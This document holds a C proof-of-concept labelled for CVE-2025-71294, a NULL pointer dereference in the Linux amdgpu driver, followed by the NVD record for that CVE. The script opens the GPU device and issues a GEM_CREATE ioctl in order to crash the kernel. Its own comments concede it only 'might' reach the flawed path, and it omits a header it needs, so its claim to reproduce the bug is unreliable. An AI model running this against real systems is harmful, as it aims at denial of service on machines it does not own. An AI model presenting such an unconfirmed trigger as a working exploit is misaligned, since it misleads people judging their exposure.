CVE-2025-71294

/* * PoC for CVE-2025-71294: AMDGPU NULL Pointer Dereference * This code attempts to trigger the crash by interacting with the amdgpu driver. * Compile: gcc -o poc_amdgpu poc_amdgpu.c -ldrm */ #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/ioctl.h> #include <libdrm/amdgpu.h> #include <libdrm/drm.h> int main() { int fd = -1; drmVersionPtr version; // Attempt to open the AMD GPU device fd = open("/dev/dri/card0", O_RDWR); if (fd < 0) { perror("Failed to open /dev/dri/card0"); return 1; } version = drmGetVersion(fd); if (version) { printf("Driver: %s\n", version->name); if (strcmp(version->name, "amdgpu") == 0) { printf("Target driver detected.\n"); // Triggering the vulnerability requires specific internal states. // If SDMA is disabled, certain buffer operations may hit the NULL pointer. // Here we attempt a generic buffer operation which might traverse the vulnerable path. struct drm_amdgpu_gem_create create = {0}; create.bo_size = 4096; // This IOCTL might internally call buffer_funcs if SDMA is involved if (ioctl(fd, DRM_IOCTL_AMDGPU_GEM_CREATE, &create) != 0) { perror("Ioctl failed"); } else { printf("GEM created. If SDMA is disabled and kernel is vulnerable, crash may occur on usage.\n"); } } drmFreeVersion(version); } close(fd); return 0; }

{"cve": {"id": "CVE-2025-71294", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T12:16:28.707", "lastModified": "2026-05-12T21:22:32.903", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amdgpu: fix NULL pointer issue buffer funcs\n\nIf SDMA block not enabled, buffer_funcs will not initialize,\nfix the null pointer issue if buffer_funcs not initialized."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.75", "matchCriteriaId": "BCE16369-98ED-41CF-8995-DFDC10B288D2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.16", "matchCriteriaId": "B4B8CDA9-BADF-4CF5-8B3B-702DE8EEA40B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.6", "matchCriteriaId": "373EEEDA-FAA1-4FB4-B6ED-DB4DD99DBE67"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/276028fd9b60bbcc68796d1124b6b58298f4ca8a", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/29fd416e0e08aa6d5a97fd313749d08d83de0826", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/3e849a93bff40f0c88a8aafba062b1de0ec2797b", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/9877a865d62c9c3e0f4cc369dc9ca9f7f24f5ee9", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}